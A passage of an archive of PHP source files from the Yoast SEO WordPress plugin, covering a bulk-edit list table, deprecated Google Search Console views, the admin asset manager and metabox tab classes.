					/* translators: Hidden accessibility text; %s: post title. */
					esc_attr( sprintf( __( 'View &#8220;%s&#8221;', 'wordpress-seo' ), $title ) ),
					__( 'View', 'wordpress-seo' )
				);
			}
		}

		$return .= $this->row_actions( $actions );

		return $return;
	}

	/**
	 * Parsing the column based on the $column_name.
	 *
	 * @param string  $column_name Column name.
	 * @param WP_Post $rec         Post object.
	 *
	 * @return string
	 */
	protected function parse_column( $column_name, $rec ) {

		static $date_format;

		if ( ! isset( $date_format ) ) {
			$date_format = get_option( 'date_format' );
		}

		switch ( $column_name ) {
			case 'col_page_title':
				$column_value = $this->parse_page_title_column( $rec );
				break;

			case 'col_page_slug':
				$permalink    = get_permalink( $rec->ID );
				$display_slug = str_replace( get_bloginfo( 'url' ), '', $permalink );
				$column_value = sprintf( '<a href="%2$s" target="_blank">%1$s</a>', stripslashes( rawurldecode( $display_slug ) ), esc_url( $permalink ) );
				break;

			case 'col_post_type':
				$post_type    = get_post_type_object( $rec->post_type );
				$column_value = $post_type->labels->singular_name;
				break;

			case 'col_post_status':
				$post_status  = get_post_status_object( $rec->post_status );
				$column_value = $post_status->label;
				break;

			case 'col_post_date':
				$column_value = date_i18n( $date_format, strtotime( $rec->post_date ) );
				break;

			case 'col_row_action':
				$column_value = sprintf(
					'<a href="#" role="button" class="wpseo-save" data-id="%1$s">%2$s</a> <span aria-hidden="true">|</span> <a href="#" role="button" class="wpseo-save-all">%3$s</a>',
					$rec->ID,
					esc_html__( 'Save', 'wordpress-seo' ),
					esc_html__( 'Save all', 'wordpress-seo' )
				);
				break;
		}

		if ( ! empty( $column_value ) ) {
			return $column_value;
		}
	}

	/**
	 * Parse the field where the existing meta-data value is displayed.
	 *
	 * @param int        $record_id  Record ID.
	 * @param string     $attributes HTML attributes.
	 * @param bool|array $values     Optional values data array.
	 *
	 * @return string
	 */
	protected function parse_meta_data_field( $record_id, $attributes, $values = false ) {

		// Fill meta data if exists in $this->meta_data.
		$meta_data  = ( ! empty( $this->meta_data[ $record_id ] ) ) ? $this->meta_data[ $record_id ] : [];
		$meta_key   = WPSEO_Meta::$meta_prefix . $this->target_db_field;
		$meta_value = ( ! empty( $meta_data[ $meta_key ] ) ) ? $meta_data[ $meta_key ] : '';

		if ( ! empty( $values ) ) {
			$meta_value = $values[ $meta_value ];
		}

		$id = "wpseo-existing-$this->target_db_field-$record_id";

		// $attributes correctly escaped, verified by Alexander. See WPSEO_Bulk_Description_List_Table::parse_page_specific_column.
		return sprintf( '<td %2$s id="%3$s">%1$s</td>', esc_html( $meta_value ), $attributes, esc_attr( $id ) );
	}

	/**
	 * Method for setting the meta data, which belongs to the records that will be shown on the current page.
	 *
	 * This method will loop through the current items ($this->items) for getting the post_id. With this data
	 * ($needed_ids) the method will query the meta-data table for getting the title.
	 *
	 * @return void
	 */
	protected function get_meta_data() {

		$post_ids  = $this->get_post_ids();
		$meta_data = $this->get_meta_data_result( $post_ids );

		$this->parse_meta_data( $meta_data );

		// Little housekeeping.
		unset( $post_ids, $meta_data );
	}

	/**
	 * Getting all post_ids from to $this->items.
	 *
	 * @return array
	 */
	protected function get_post_ids() {
		$post_ids = [];
		foreach ( $this->items as $item ) {
			$post_ids[] = $item->ID;
		}

		return $post_ids;
	}

	/**
	 * Getting the meta_data from database.
	 *
	 * @param array $post_ids Post IDs for SQL IN part.
	 *
	 * @return mixed
	 */
	protected function get_meta_data_result( array $post_ids ) {
		global $wpdb;

		$where = $wpdb->prepare(
			'post_id IN (' . implode( ', ', array_fill( 0, count( $post_ids ), '%d' ) ) . ')',
			$post_ids
		);

		$where .= $wpdb->prepare( ' AND meta_key = %s', WPSEO_Meta::$meta_prefix . $this->target_db_field );

		// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- They are prepared on the lines above.
		return $wpdb->get_results( "SELECT * FROM {$wpdb->postmeta} WHERE {$where}" );
	}

	/**
	 * Setting $this->meta_data.
	 *
	 * @param array $meta_data Meta data set.
	 *
	 * @return void
	 */
	protected function parse_meta_data( $meta_data ) {

		foreach ( $meta_data as $row ) {
			$this->meta_data[ $row->post_id ][ $row->meta_key ] = $row->meta_value;
		}
	}

	/**
	 * This method will merge general array with given parameter $columns.
	 *
	 * @param array $columns Optional columns set.
	 *
	 * @return array
	 */
	protected function merge_columns( $columns = [] ) {
		$columns = array_merge(
			[
				'col_page_title'  => __( 'WP Page Title', 'wordpress-seo' ),
				'col_post_type'   => __( 'Content Type', 'wordpress-seo' ),
				'col_post_status' => __( 'Post Status', 'wordpress-seo' ),
				'col_post_date'   => __( 'Publication date', 'wordpress-seo' ),
				'col_page_slug'   => __( 'Page URL/Slug', 'wordpress-seo' ),
			],
			$columns
		);

		$columns['col_row_action'] = __( 'Action', 'wordpress-seo' );

		return $columns;
	}
}
wordpress-seo/admin/google_search_console/views/gsc-redirect-nopremium.php000064400000001757147510273100023237 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * This is the view for the modal box that appears when premium isn't loaded.
 *
 * @package WPSEO\Admin\Google_Search_Console
 */

_deprecated_file( __FILE__, 'Yoast SEO 9.5' );

echo '<h1 class="wpseo-redirect-url-title">';
printf(
	/* Translators: %s: expands to Yoast SEO Premium */
	esc_html__( 'Creating redirects is a %s feature', 'wordpress-seo' ),
	'Yoast SEO Premium'
);
echo '</h1>';
echo '<p>';
printf(
	/* Translators: %1$s: expands to 'Yoast SEO Premium', %2$s: links to Yoast SEO Premium plugin page. */
	esc_html__( 'To be able to create a redirect and fix this issue, you need %1$s. You can buy the plugin, including one year of support and updates, on %2$s.', 'wordpress-seo' ),
	'Yoast SEO Premium',
	'<a href="' . esc_url( WPSEO_Shortlinker::get( 'https://yoa.st/redirects' ) ) . '" target="_blank">yoast.com</a>'
);
echo '</p>';
echo '<button type="button" class="button wpseo-redirect-close">' . esc_html__( 'Close', 'wordpress-seo' ) . '</button>';
wordpress-seo/admin/google_search_console/views/gsc-display.php000064400000004472147510273100021067 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Google_Search_Console
 */

// Admin header.
Yoast_Form::get_instance()->admin_header( false, 'wpseo-gsc', false, 'yoast_wpseo_gsc_options' );

// GSC Error notification.
$gsc_url                 = 'https://search.google.com/search-console/index';
$gsc_post_url            = 'https://yoa.st/google-search-console-deprecated';
$gsc_style_alert         = '
	display: flex;
	align-items: baseline;
	position: relative;
	padding: 16px;
	border: 1px solid rgba(0, 0, 0, 0.2);
	font-size: 14px;
	font-weight: 400;
	line-height: 1.5;
	margin: 16px 0;
	color: #450c11;
	background: #f8d7da;
';
$gsc_style_alert_icon    = 'display: block; margin-right: 8px;';
$gsc_style_alert_content = 'max-width: 600px;';
$gsc_style_alert_link    = 'color: #004973;';
$gsc_notification        = sprintf(
	/* Translators: %1$s: expands to opening anchor tag, %2$s expands to closing anchor tag. */
	__( 'Google has discontinued its Crawl Errors API. Therefore, any possible crawl errors you might have cannot be displayed here anymore. %1$sRead our statement on this for further information%2$s.', 'wordpress-seo' ),
	'<a style="' . $gsc_style_alert_link . '" href="' . WPSEO_Shortlinker::get( $gsc_post_url ) . '" target="_blank" rel="noopener">',
	WPSEO_Admin_Utils::get_new_tab_message() . '</a>'
);
$gsc_notification .= '<br/><br/>';
$gsc_notification .= sprintf(
	/* Translators: %1$s: expands to opening anchor tag, %2$s expands to closing anchor tag. */
	__( 'To view your current crawl errors, %1$splease visit Google Search Console%2$s.', 'wordpress-seo' ),
	'<a style="' . $gsc_style_alert_link . '" href="' . $gsc_url . '" target="_blank" rel="noopener noreferrer">',
	WPSEO_Admin_Utils::get_new_tab_message() . '</a>'
);
?>
	<div style="<?php echo $gsc_style_alert; ?>">
	<span style="<?php echo $gsc_style_alert_icon; ?>">
		<svg xmlns="http://www.w3.org/2000/svg" width="12" height="14" viewBox="0 0 12 14" role="img" aria-hidden="true"
			focusable="false" fill="#450c11">
			<path
				d="M6 1q1.6 0 3 .8T11.2 4t.8 3-.8 3T9 12.2 6 13t-3-.8T.8 10 0 7t.8-3T3 1.8 6 1zm1 9.7V9.3 9L6.7 9H5l-.1.3V10.9l.3.1h1.6l.1-.3zm0-2.6L7 3.2v-.1L6.8 3H5 5l-.1.2.1 4.9.3.2h1.4l.2-.1Q7 8 6.9 8z"></path>
		</svg>
	</span>
		<span style="<?php echo $gsc_style_alert_content; ?>"><?php echo $gsc_notification; ?></span>
	</div>
<?php
wordpress-seo/admin/google_search_console/class-gsc.php000064400000000672147510273100017370 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\admin\google_search_console
 */

/**
 * Class WPSEO_GSC.
 */
class WPSEO_GSC {

	/**
	 * The option where data will be stored.
	 *
	 * @var string
	 */
	public const OPTION_WPSEO_GSC = 'wpseo-gsc';

	/**
	 * Outputs the HTML for the redirect page.
	 *
	 * @return void
	 */
	public function display() {
		require_once WPSEO_PATH . 'admin/google_search_console/views/gsc-display.php';
	}
}
wordpress-seo/admin/class-admin-asset-manager.php000064400000046535147510273100016116 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

/**
 * This class registers all the necessary styles and scripts.
 *
 * Also has methods for the enqueing of scripts and styles.
 * It automatically adds a prefix to the handle.
 */
class WPSEO_Admin_Asset_Manager {

	/**
	 * Prefix for naming the assets.
	 *
	 * @var string
	 */
	public const PREFIX = 'yoast-seo-';

	/**
	 * Class that manages the assets' location.
	 *
	 * @var WPSEO_Admin_Asset_Location
	 */
	protected $asset_location;

	/**
	 * Prefix for naming the assets.
	 *
	 * @var string
	 */
	private $prefix;

	/**
	 * Constructs a manager of assets. Needs a location to know where to register assets at.
	 *
	 * @param WPSEO_Admin_Asset_Location|null $asset_location The provider of the asset location.
	 * @param string                          $prefix         The prefix for naming assets.
	 */
	public function __construct( ?WPSEO_Admin_Asset_Location $asset_location = null, $prefix = self::PREFIX ) {
		if ( $asset_location === null ) {
			$asset_location = self::create_default_location();
		}

		$this->asset_location = $asset_location;
		$this->prefix         = $prefix;
	}

	/**
	 * Enqueues scripts.
	 *
	 * @param string $script The name of the script to enqueue.
	 *
	 * @return void
	 */
	public function enqueue_script( $script ) {
		wp_enqueue_script( $this->prefix . $script );
	}

	/**
	 * Enqueues styles.
	 *
	 * @param string $style The name of the style to enqueue.
	 *
	 * @return void
	 */
	public function enqueue_style( $style ) {
		wp_enqueue_style( $this->prefix . $style );
	}

	/**
	 * Enqueues the appropriate language for the user.
	 *
	 * @return void
	 */
	public function enqueue_user_language_script() {
		$this->enqueue_script( 'language-' . YoastSEO()->helpers->language->get_researcher_language() );
	}

	/**
	 * Registers scripts based on it's parameters.
	 *
	 * @param WPSEO_Admin_Asset $script The script to register.
	 *
	 * @return void
	 */
	public function register_script( WPSEO_Admin_Asset $script ) {
		$url  = $script->get_src() ? $this->get_url( $script, WPSEO_Admin_Asset::TYPE_JS ) : false;
		$args = [
			'in_footer' => $script->is_in_footer(),
		];

		if ( $script->get_strategy() !== '' ) {
			$args['strategy'] = $script->get_strategy();
		}

		wp_register_script(
			$this->prefix . $script->get_name(),
			$url,
			$script->get_deps(),
			$script->get_version(),
			$args
		);

		if ( in_array( 'wp-i18n', $script->get_deps(), true ) ) {
			wp_set_script_translations( $this->prefix . $script->get_name(), 'wordpress-seo' );
		}
	}

	/**
	 * Registers styles based on it's parameters.
	 *
	 * @param WPSEO_Admin_Asset $style The style to register.
	 *
	 * @return void
	 */
	public function register_style( WPSEO_Admin_Asset $style ) {
		wp_register_style(
			$this->prefix . $style->get_name(),
			$this->get_url( $style, WPSEO_Admin_Asset::TYPE_CSS ),
			$style->get_deps(),
			$style->get_version(),
			$style->get_media()
		);
	}

	/**
	 * Calls the functions that register scripts and styles with the scripts and styles to be registered as arguments.
	 *
	 * @return void
	 */
	public function register_assets() {
		$this->register_scripts( $this->scripts_to_be_registered() );
		$this->register_styles( $this->styles_to_be_registered() );
	}

	/**
	 * Registers all the scripts passed to it.
	 *
	 * @param array $scripts The scripts passed to it.
	 *
	 * @return void
	 */
	public function register_scripts( $scripts ) {
		foreach ( $scripts as $script ) {
			$script = new WPSEO_Admin_Asset( $script );
			$this->register_script( $script );
		}
	}

	/**
	 * Registers all the styles it receives.
	 *
	 * @param array $styles Styles that need to be registered.
	 *
	 * @return void
	 */
	public function register_styles( $styles ) {
		foreach ( $styles as $style ) {
			$style = new WPSEO_Admin_Asset( $style );
			$this->register_style( $style );
		}
	}

	/**
	 * Localizes the script.
	 *
	 * @param string $handle      The script handle.
	 * @param string $object_name The object name.
	 * @param array  $data        The l10n data.
	 *
	 * @return void
	 */
	public function localize_script( $handle, $object_name, $data ) {
		wp_localize_script( $this->prefix . $handle, $object_name, $data );
	}

	/**
	 * Adds an inline script.
	 *
	 * @param string $handle   The script handle.
	 * @param string $data     The l10n data.
	 * @param string $position Optional. Whether to add the inline script before the handle or after.
	 *
	 * @return void
	 */
	public function add_inline_script( $handle, $data, $position = 'after' ) {
		wp_add_inline_script( $this->prefix . $handle, $data, $position );
	}

	/**
	 * A list of styles that shouldn't be registered but are needed in other locations in the plugin.
	 *
	 * @return array
	 */
	public function special_styles() {
		$flat_version = $this->flatten_version( WPSEO_VERSION );
		$asset_args   = [
			'name' => 'inside-editor',
			'src'  => 'inside-editor-' . $flat_version,
		];

		return [ 'inside-editor' => new WPSEO_Admin_Asset( $asset_args ) ];
	}

	/**
	 * Flattens a version number for use in a filename.
	 *
	 * @param string $version The original version number.
	 *
	 * @return string The flattened version number.
	 */
	public function flatten_version( $version ) {
		$parts = explode( '.', $version );

		if ( count( $parts ) === 2 && preg_match( '/^\d+$/', $parts[1] ) === 1 ) {
			$parts[] = '0';
		}

		return implode( '', $parts );
	}

	/**
	 * Creates a default location object for use in the admin asset manager.
	 *
	 * @return WPSEO_Admin_Asset_Location The location to use in the asset manager.
	 */
	public static function create_default_location() {
		if ( defined( 'YOAST_SEO_DEV_SERVER' ) && YOAST_SEO_DEV_SERVER ) {
			$url = defined( 'YOAST_SEO_DEV_SERVER_URL' ) ? YOAST_SEO_DEV_SERVER_URL : WPSEO_Admin_Asset_Dev_Server_Location::DEFAULT_URL;

			return new WPSEO_Admin_Asset_Dev_Server_Location( $url );
		}

		return new WPSEO_Admin_Asset_SEO_Location( WPSEO_FILE, false );
	}

	/**
	 * Checks if the given script is enqueued.
	 *
	 * @param string $script The script to check.
	 *
	 * @return bool True when the script is enqueued.
	 */
	public function is_script_enqueued( $script ) {
		return wp_script_is( $this->prefix . $script );
	}

	/**
	 * Returns the scripts that need to be registered.
	 *
	 * @todo Data format is not self-documenting. Needs explanation inline. R.
	 *
	 * @return array The scripts that need to be registered.
	 */
	protected function scripts_to_be_registered() {
		$header_scripts          = [
			'admin-global',
			'block-editor',
			'classic-editor',
			'post-edit',
			'help-scout-beacon',
			'redirect-old-features-tab',
		];
		$additional_dependencies = [
			'analysis-worker'          => [ self::PREFIX . 'analysis-package' ],
			'api-client'               => [ 'wp-api' ],
			'crawl-settings'           => [ 'jquery' ],
			'dashboard-widget'         => [ self::PREFIX . 'api-client' ],
			'wincher-dashboard-widget' => [ self::PREFIX . 'api-client' ],
			'editor-modules'           => [ 'jquery' ],
			'elementor'                => [
				self::PREFIX . 'api-client',
				self::PREFIX . 'externals-components',
				self::PREFIX . 'externals-contexts',
				self::PREFIX . 'externals-redux',
			],
			'indexation'               => [
				'jquery-ui-core',
				'jquery-ui-progressbar',
			],
			'first-time-configuration' => [
				self::PREFIX . 'api-client',
				self::PREFIX . 'externals-components',
				self::PREFIX . 'externals-contexts',
				self::PREFIX . 'externals-redux',
			],
			'integrations-page'        => [
				self::PREFIX . 'api-client',
				self::PREFIX . 'externals-components',
				self::PREFIX . 'externals-contexts',
				self::PREFIX . 'externals-redux',
			],
			'post-edit'                => [
				self::PREFIX . 'api-client',
				self::PREFIX . 'block-editor',
				self::PREFIX . 'externals-components',
				self::PREFIX . 'externals-contexts',
				self::PREFIX . 'externals-redux',
			],
			'reindex-links'            => [
				'jquery-ui-core',
				'jquery-ui-progressbar',
			],
			'settings'                 => [
				'jquery-ui-core',
				'jquery-ui-progressbar',
				self::PREFIX . 'api-client',
				self::PREFIX . 'externals-components',
				self::PREFIX . 'externals-contexts',
				self::PREFIX . 'externals-redux',
			],
			'term-edit'                => [
				self::PREFIX . 'api-client',
				self::PREFIX . 'classic-editor',
				self::PREFIX . 'externals-components',
				self::PREFIX . 'externals-contexts',
				self::PREFIX . 'externals-redux',
			],
			'general-page'             => [
				self::PREFIX . 'api-client',
			],
		];

		$plugin_scripts   = $this->load_generated_asset_file(
			[
				'asset_file'      => __DIR__ . '/../src/generated/assets/plugin.php',
				'ext_length'      => 3,
				'additional_deps' => $additional_dependencies,
				'header_scripts'  => $header_scripts,
			]
		);
		$external_scripts = $this->load_generated_asset_file(
			[
				'asset_file'      => __DIR__ . '/../src/generated/assets/externals.php',
				'ext_length'      => 3,
				'suffix'          => '-package',
				'base_dir'        => 'externals/',
				'additional_deps' => $additional_dependencies,
				'header_scripts'  => $header_scripts,
			]
		);
		$language_scripts = $this->load_generated_asset_file(
			[
				'asset_file'      => __DIR__ . '/../src/generated/assets/languages.php',
				'ext_length'      => 3,
				'suffix'          => '-language',
				'base_dir'        => 'languages/',
				'additional_deps' => $additional_dependencies,
				'header_scripts'  => $header_scripts,
			]
		);
		$renamed_scripts  = $this->load_renamed_scripts();

		$scripts = array_merge(
			$plugin_scripts,
			$external_scripts,
			$language_scripts,
			$renamed_scripts
		);

		$scripts['installation-success'] = [
			'name'    => 'installation-success',
			'src'     => 'installation-success.js',
			'deps'    => [
				'wp-a11y',
				'wp-dom-ready',
				'wp-components',
				'wp-element',
				'wp-i18n',
				self::PREFIX . 'components-new-package',
				self::PREFIX . 'externals-components',
			],
			'version' => $scripts['installation-success']['version'],
		];

		$scripts['post-edit-classic'] = [
			'name'      => 'post-edit-classic',
			'src'       => $scripts['post-edit']['src'],
			'deps'      => array_map(
				static function ( $dep ) {
					if ( $dep === self::PREFIX . 'block-editor' ) {
						return self::PREFIX . 'classic-editor';
					}
					return $dep;
				},
				$scripts['post-edit']['deps']
			),
			'in_footer' => ! in_array( 'post-edit-classic', $header_scripts, true ),
			'version'   => $scripts['post-edit']['version'],
		];

		$scripts['workouts'] = [
			'name'    => 'workouts',
			'src'     => 'workouts.js',
			'deps'    => [
				'clipboard',
				'lodash',
				'wp-api-fetch',
				'wp-a11y',
				'wp-components',
				'wp-compose',
				'wp-data',
				'wp-dom-ready',
				'wp-element',
				'wp-i18n',
				self::PREFIX . 'externals-components',
				self::PREFIX . 'externals-contexts',
				self::PREFIX . 'externals-redux',
				self::PREFIX . 'analysis',
				self::PREFIX . 'react-select',
				self::PREFIX . 'components-new-package',
			],
			'version' => $scripts['workouts']['version'],
		];

		// Add the current language to every script that requires the analysis package.
		foreach ( $scripts as $name => $script ) {
			if ( substr( $name, -8 ) === 'language' ) {
				continue;
			}
			if ( in_array( self::PREFIX . 'analysis-package', $script['deps'], true ) ) {
				$scripts[ $name ]['deps'][] = self::PREFIX . YoastSEO()->helpers->language->get_researcher_language() . '-language';
			}
		}

		return $scripts;
	}

	/**
	 * Loads a generated asset file.
	 *
	 * @param array $args {
	 *     The arguments.
	 *
	 *     @type string                  $asset_file      The asset file to load.
	 *     @type int                     $ext_length      The length of the extension, including suffix, of the filename.
	 *     @type string                  $suffix          Optional. The suffix of the asset name.
	 *     @type array<string, string[]> $additional_deps Optional. The additional dependencies assets may have.
	 *     @type string                  $base_dir        Optional. The base directory of the asset.
	 *     @type string[]                $header_scripts  Optional. The script names that should be in the header.
	 * }
	 *
	 * @return array {
	 *     The scripts to be registered.
	 *
	 *     @type string   $name      The name of the asset.
	 *     @type string   $src       The src of the asset.
	 *     @type string[] $deps      The dependenies of the asset.
	 *     @type bool     $in_footer Whether or not the asset should be in the footer.
	 * }
	 */
	protected function load_generated_asset_file( $args ) {
		$args    = wp_parse_args(
			$args,
			[
				'suffix'          => '',
				'additional_deps' => [],
				'base_dir'        => '',
				'header_scripts'  => [],
			]
		);
		$scripts = [];
		$assets  = require $args['asset_file'];
		foreach ( $assets as $file => $data ) {
			$name  = substr( $file, 0, -$args['ext_length'] );
			$name  = strtolower( preg_replace( '/([A-Z])/', '-$1', $name ) );
			$name .= $args['suffix'];

			$deps = $data['dependencies'];
			if ( isset( $args['additional_deps'][ $name ] ) ) {
				$deps = array_merge( $deps, $args['additional_deps'][ $name ] );
			}

			$scripts[ $name ] = [
				'name'      => $name,
				'src'       => $args['base_dir'] . $file,
				'deps'      => $deps,
				'in_footer' => ! in_array( $name, $args['header_scripts'], true ),
				'version'   => $data['version'],
			];
		}

		return $scripts;
	}

	/**
	 * Loads the scripts that should be renamed for BC.
	 *
	 * @return array {
	 *     The scripts to be registered.
	 *
	 *     @type string   $name      The name of the asset.
	 *     @type string   $src       The src of the asset.
	 *     @type string[] $deps      The dependenies of the asset.
	 *     @type bool     $in_footer Whether or not the asset should be in the footer.
	 * }
	 */
	protected function load_renamed_scripts() {
		$scripts         = [];
		$renamed_scripts = [
			'admin-global-script'         => 'admin-global',
			'analysis'                    => 'analysis-package',
			'analysis-report'             => 'analysis-report-package',
			'api'                         => 'api-client',
			'commons'                     => 'commons-package',
			'edit-page'                   => 'edit-page-script',
			'draft-js'                    => 'draft-js-package',
			'feature-flag'                => 'feature-flag-package',
			'helpers'                     => 'helpers-package',
			'jed'                         => 'jed-package',
			'chart.js'                    => 'chart.js-package',
			'network-admin-script'        => 'network-admin',
			'redux'                       => 'redux-package',
			'replacement-variable-editor' => 'replacement-variable-editor-package',
			'search-metadata-previews'    => 'search-metadata-previews-package',
			'social-metadata-forms'       => 'social-metadata-forms-package',
			'styled-components'           => 'styled-components-package',
			'style-guide'                 => 'style-guide-package',
			'yoast-components'            => 'components-new-package',
		];

		foreach ( $renamed_scripts as $original => $replacement ) {
			$scripts[] = [
				'name' => $original,
				'src'  => false,
				'deps' => [ self::PREFIX . $replacement ],
			];
		}

		return $scripts;
	}

	/**
	 * Returns the styles that need to be registered.
	 *
	 * @todo Data format is not self-documenting. Needs explanation inline. R.
	 *
	 * @return array Styles that need to be registered.
	 */
	protected function styles_to_be_registered() {
		$flat_version = $this->flatten_version( WPSEO_VERSION );

		return [
			[
				'name' => 'admin-css',
				'src'  => 'yst_plugin_tools-' . $flat_version,
				'deps' => [ self::PREFIX . 'toggle-switch' ],
			],
			[
				'name' => 'toggle-switch',
				'src'  => 'toggle-switch-' . $flat_version,
			],
			[
				'name' => 'dismissible',
				'src'  => 'wpseo-dismissible-' . $flat_version,
			],
			[
				'name' => 'notifications',
				'src'  => 'notifications-' . $flat_version,
			],
			[
				'name' => 'alert',
				'src'  => 'alerts-' . $flat_version,
			],
			[
				'name' => 'edit-page',
				'src'  => 'edit-page-' . $flat_version,
			],
			[
				'name' => 'featured-image',
				'src'  => 'featured-image-' . $flat_version,
			],
			[
				'name' => 'metabox-css',
				'src'  => 'metabox-' . $flat_version,
				'deps' => [
					self::PREFIX . 'admin-css',
					self::PREFIX . 'tailwind',
					'wp-components',
				],
			],
			[
				'name' => 'block-editor',
				'src'  => 'block-editor-' . $flat_version,
			],
			[
				'name' => 'ai-generator',
				'src'  => 'ai-generator-' . $flat_version,
				'deps' => [
					self::PREFIX . 'tailwind',
					self::PREFIX . 'introductions',
				],
			],
			[
				'name' => 'ai-fix-assessments',
				'src'  => 'ai-fix-assessments-' . $flat_version,
			],
			[
				'name' => 'introductions',
				'src'  => 'introductions-' . $flat_version,
				'deps' => [ self::PREFIX . 'tailwind' ],
			],
			[
				'name' => 'wp-dashboard',
				'src'  => 'dashboard-' . $flat_version,
			],
			[
				'name' => 'scoring',
				'src'  => 'yst_seo_score-' . $flat_version,
			],
			[
				'name' => 'adminbar',
				'src'  => 'adminbar-' . $flat_version,
				'deps' => [
					'admin-bar',
				],
			],
			[
				'name' => 'primary-category',
				'src'  => 'metabox-primary-category-' . $flat_version,
			],
			[
				'name' => 'admin-global',
				'src'  => 'admin-global-' . $flat_version,
			],
			[
				'name' => 'extensions',
				'src'  => 'yoast-extensions-' . $flat_version,
				'deps' => [
					'wp-components',
				],
			],
			[
				'name' => 'filter-explanation',
				'src'  => 'filter-explanation-' . $flat_version,
			],
			[
				'name' => 'monorepo',
				'src'  => 'monorepo-' . $flat_version,
			],
			[
				'name' => 'structured-data-blocks',
				'src'  => 'structured-data-blocks-' . $flat_version,
				'deps' => [
					'dashicons',
					'forms',
					'wp-edit-blocks',
				],
			],
			[
				'name' => 'elementor',
				'src'  => 'elementor-' . $flat_version,
			],
			[
				'name' => 'tailwind',
				'src'  => 'tailwind-' . $flat_version,
			],
			[
				'name' => 'new-settings',
				'src'  => 'new-settings-' . $flat_version,
				'deps' => [ self::PREFIX . 'tailwind' ],
			],
			[
				'name' => 'black-friday-banner',
				'src'  => 'black-friday-banner-' . $flat_version,
				'deps' => [ self::PREFIX . 'tailwind' ],
			],
			[
				'name' => 'academy',
				'src'  => 'academy-' . $flat_version,
				'deps' => [ self::PREFIX . 'tailwind' ],
			],
			[
				'name' => 'general-page',
				'src'  => 'general-page-' . $flat_version,
				'deps' => [ self::PREFIX . 'tailwind' ],
			],
			[
				'name' => 'support',
				'src'  => 'support-' . $flat_version,
				'deps' => [ self::PREFIX . 'tailwind' ],
			],
			[
				'name' => 'workouts',
				'src'  => 'workouts-' . $flat_version,
				'deps' => [
					self::PREFIX . 'monorepo',
				],
			],
			[
				'name' => 'first-time-configuration',
				'src'  => 'first-time-configuration-' . $flat_version,
				'deps' => [ self::PREFIX . 'tailwind' ],
			],
			[
				'name' => 'inside-editor',
				'src'  => 'inside-editor-' . $flat_version,
			],
		];
	}

	/**
	 * Determines the URL of the asset.
	 *
	 * @param WPSEO_Admin_Asset $asset The asset to determine the URL for.
	 * @param string            $type  The type of asset. Usually JS or CSS.
	 *
	 * @return string The URL of the asset.
	 */
	protected function get_url( WPSEO_Admin_Asset $asset, $type ) {
		$scheme = wp_parse_url( $asset->get_src(), PHP_URL_SCHEME );
		if ( in_array( $scheme, [ 'http', 'https' ], true ) ) {
			return $asset->get_src();
		}

		return $this->asset_location->get_url( $asset, $type );
	}
}
wordpress-seo/admin/metabox/class-metabox-section-readability.php000064400000002253147510273100021315 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

/**
 * Generates and displays the React root element for a metabox section.
 */
class WPSEO_Metabox_Section_Readability implements WPSEO_Metabox_Section {

	/**
	 * Name of the section, used as an identifier in the HTML.
	 *
	 * @var string
	 */
	public $name = 'readability';

	/**
	 * Outputs the section link.
	 *
	 * @return void
	 */
	public function display_link() {
		printf(
			'<li role="presentation"><a role="tab" href="#wpseo-meta-section-%1$s" id="wpseo-meta-tab-%1$s" aria-controls="wpseo-meta-section-%1$s" class="wpseo-meta-section-link">
				<div class="wpseo-score-icon-container" id="wpseo-readability-score-icon"></div><span>%2$s</span></a></li>',
			esc_attr( $this->name ),
			esc_html__( 'Readability', 'wordpress-seo' )
		);
	}

	/**
	 * Outputs the section content.
	 *
	 * @return void
	 */
	public function display_content() {
		printf(
			'<div role="tabpanel" id="wpseo-meta-section-%1$s" aria-labelledby="wpseo-meta-tab-%1$s" tabindex="0" class="wpseo-meta-section">',
			esc_attr( $this->name )
		);
		echo '<div id="wpseo-metabox-readability-root" class="wpseo-metabox-root"></div>', '</div>';
	}
}
wordpress-seo/admin/metabox/class-metabox-null-tab.php000064400000000651147510273100017100 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

/**
 * Generates the HTML for a metabox tab.
 */
class WPSEO_Metabox_Null_Tab implements WPSEO_Metabox_Tab {

	/**
	 * Returns the html for the tab link.
	 *
	 * @return string|null
	 */
	public function link() {
		return null;
	}

	/**
	 * Returns the html for the tab content.
	 *
	 * @return string|null
	 */
	public function content() {
		return null;
	}
}
wordpress-seo/admin/metabox/class-metabox-form-tab.php000064400000005440147510273100017072 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

/**
 * Generates the HTML for a metabox tab.
 */
class WPSEO_Metabox_Form_Tab implements WPSEO_Metabox_Tab {

	/**
	 * The tab identifier.
	 *
	 * @var string
	 */
	private $name;

	/**
	 * The tab content.
	 *
	 * @var string
	 */
	private $content;

	/**
	 * The tab link content.
	 *
	 * @var string
	 */
	private $link_content;

	/**
	 * Additional tab content class.
	 *
	 * @var string
	 */
	private $tab_class;

	/**
	 * Additional tab link class.
	 *
	 * @var string
	 */
	private $link_class;

	/**
	 * Title attribute on the link span.
	 *
	 * @var string
	 */
	private $link_title;

	/**
	 * Arial label attribute on the link span.
	 *
	 * @var string
	 */
	private $link_aria_label;

	/**
	 * Does it contain a single tab.
	 *
	 * @var bool
	 */
	private $single;

	/**
	 * Constructor.
	 *
	 * @param string $name         The name of the tab, used as an identifier in the html.
	 * @param string $content      The tab content.
	 * @param string $link_content The text content of the tab link.
	 * @param array  $options      Optional link attributes.
	 */
	public function __construct( $name, $content, $link_content, array $options = [] ) {
		$default_options = [
			'tab_class'       => '',
			'link_class'      => '',
			'link_title'      => '',
			'link_aria_label' => '',
			'single'          => false,
		];

		$options = array_merge( $default_options, $options );

		$this->name            = $name;
		$this->content         = $content;
		$this->link_content    = $link_content;
		$this->tab_class       = $options['tab_class'];
		$this->link_class      = $options['link_class'];
		$this->link_title      = $options['link_title'];
		$this->link_aria_label = $options['link_aria_label'];
		$this->single          = $options['single'];
	}

	/**
	 * Returns the html for the tab link.
	 *
	 * @return string
	 */
	public function link() {

		$html = '<li class="%1$s%2$s"><a class="wpseo_tablink%3$s" href="#wpseo_%1$s"%4$s%5$s>%6$s</a></li>';

		if ( $this->single ) {
